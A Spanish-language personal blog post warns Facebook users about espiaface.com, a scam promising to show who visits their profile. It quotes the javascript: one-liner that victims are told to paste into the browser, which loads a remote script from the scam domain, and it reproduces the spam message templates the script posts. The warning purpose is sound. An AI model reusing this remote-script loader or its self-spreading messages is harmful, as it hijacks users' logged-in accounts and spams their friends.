Sergio Behrends

Estudiante de Diseño Industrial en la Universidad de Palermo. Experiencia en Diseño Web y Grafico. Y un full time Geek.

Twitter
Facebook

Espiaface.com? #FRAUDE #FAIL

Recientemente me estan bombardeando con mensajes por chat,muro y invitandome a un evento para “Averiguar quien visita tu perfil” y esto hacerlo simplemente siguiendo unas simples instrucciones como abrir mi cuenta de facebook y pegar un script que me dan en el navegador.

Vamos a analizar un poco la situacion y explicarles a los simples, humildes y sobretodo ingenuos usuarios de Facebook que pasa en este caso. El script que pide espiaface.com que copiemos es el siguiente:

javascript:(a=(b=document).createElement(‘script’)).src=’//app.espiaface.com/app.js?’
+Math.random(),b.body.appendChild(a);void(0)

Si nos fijamos esto esta llamando a un javascript. Este javascript esta encriptado con lo cual no llegue a desifrarlo por completo, pero realizar variadas conexiones a sitios y pagina para realizar un sin fin de acciones compartiendo este link con todos tus amigos.

Se podria pensar que roba algo de informacion personal y de la informacion de tus amigos. Pensemos que ya esta enviando miles de mensajitos a nuestros amigos con un simple “enter” que dimos, y pasa por arriba de pedir la autorizacion de Facebook.

Entonces… usuarios fans de aplicaciones y extras de Facebook… paren de agregar y entrar en sitios con luces parpadeando y animaciones gif! Todas llevan a un tunel negro (risa malvada)

Para los developers o los interesados en investigar un poco el source code de este script aca se los dejo semi decodificado. http://pastebin.ca/2050321

Update: En principio no parece llevarse datos, unicamente publica mensajes en muros y crea eventos. Igualmente si queres saber quienes visitan tu perfil en Facebook, aca va:

var chatmessage = ‘%firstname% mira esto que es increible, te permite ver quienes visitan tu perfil y funciona bien, entra a: espiaface.com’;

var postmessage = ‘Top de visitantes de tu perfil de hoy: \x0A %tf% - 19 visitas \x0A %tf% - 16 visitas \x0A %tf% - 15 visitas \x0A %tf% - 13 visitas \x0A Averigua tu tambien quien te esta mirando entrando en: espiaface.com\x0AFunciona de verdad!’;

Es decir:

Amigo Pepe - 19 visitas
Amigo Lula -16 visitas
Algun otro - 15 visitas
Pepe Lota - 13 visitas 

More Information